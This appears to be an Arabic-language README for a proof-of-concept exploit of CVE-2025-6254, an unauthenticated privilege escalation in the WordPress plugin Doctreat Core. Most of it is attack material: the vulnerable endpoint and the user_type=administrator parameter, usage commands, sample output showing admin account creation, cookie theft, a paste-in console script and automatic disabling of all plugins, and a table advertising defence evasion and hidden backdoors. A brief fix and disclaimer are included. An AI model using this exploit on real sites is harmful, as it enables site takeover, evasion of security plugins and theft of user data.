
CVE-2025-6254 — Doctreat Core <= 1.6.8 — تصعيد امتيازات غير مصادق عليه
إضافة ووردبريس Doctreat Core الإصدارات <= 1.6.8 معرّضة لثغرة تصعيد امتيازات غير مصادق عليه. تسمح هذه الثغرة الحرجة لـالمهاجمين غير المصادق عليهم بإنشاء حساب مسؤول جديد مباشرة عبر نقطة نهاية AJAX الخاصة بتسجيل الإضافة.
تنبع الثغرة من دالة doctreat_process_registration() في hooks/hooks.php، والتي تقبل معامل user_type مباشرة من بيانات POST المرسلة من المستخدم وتمرّره كمعامل role إلى wp_update_user() دون تفويض مناسب أو تحقق من قائمة الأدوار المسموحة. تطبّق الإضافة فقط دالة esc_sql() (التي لا تتحقق من الأدوار) — ولا تتحقق أبدًا مما إذا كان الدور آمنًا للتسجيل العام.
اكتشاف بارز: الـ nonce الذي تستخدمه Doctreat (scripts_vars.ajax_nonce) مكشوف في أي صفحة عامة من قالب Doctreat النشط. يمكن تجاوز معامل user_type، الذي يتحكم عادةً فيما إذا كان المستخدم يسجّل كـ"doctors" أو "hospitals" أو "regular_users"، عبر POST بقيمة user_type=administrator — ويتم تمرير هذه القيمة مباشرة كمعامل role في ووردبريس.
/wp-admin/admin-ajax.php?action=doctreat_process_registrationuser_type=administrator مع حقول التسجيل العاديةajax_nonce من الصفحات العامة لقالب Doctreat// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
'ID' => esc_sql( $user_identity ),
'role' => esc_sql( $user_type ), // ← user_type from $_POST via extract($_POST)
'user_status' => 0
) );
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );
ملاحظة: في الأهداف ذات إعدادات التحقق الافتراضية ($verify_user فارغة أو 'remove')، يتم التحقق من المستخدم تلقائيًا ويحصل فورًا على وصول كمسؤول. أما الأهداف التي يتطلب التحقق فيها تفعيل التحقق عبر البريد الإلكتروني أو موافقة المسؤول فستتطلب خطوات تحقق إضافية.
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080
python3 CVE-2025-6254_exploit.py target.com username password
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator
[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR
[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}
[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access
[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!
بعد تشغيل الاستغلال، انسخ كود الجافاسكربت المُنشأ والصقه في وحدة تحكم DevTools بالمتصفح (F12):
(function() {
'use strict';
console.log('[*] Starting WordPress admin access...');
// ... cookies set automatically ...
window.location.href = 'https://target.com/wp-admin/';
})();
requests (pip install requests)// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
$user_type = 'regular_users'; // ← Reject ALL dangerous roles
}
current_user_can('create_users') للصلاحيات المميزةuser_type قبل تمريره إلى wp_update_user()تُقدَّم هذه المعلومات لأغراض تعليمية واختبار الاختراق المصرح به فقط. الاستغلال غير المصرح به لأنظمة الكمبيوتر غير قانوني وغير أخلاقي. احصل دائمًا على إذن كتابي صريح قبل اختبار أي هدف لا تملكه.
| القدرة | التأثير |
|---|
| 🔑 إنشاء حساب مسؤول بدون تسجيل دخول | سيطرة كاملة على الموقع |
| 🎛️ تعطيل جميع الإضافات الأمنية تلقائيًا | التهرب من الدفاعات |
| 💉 تعديل ملفات PHP للإضافات/القوالب | تنفيذ كود عن بُعد |
| 🕳️ تثبيت أبواب خلفية مخفية | وصول دائم |
| 👥 عرض جميع بيانات المستخدمين | انتهاك الخصوصية |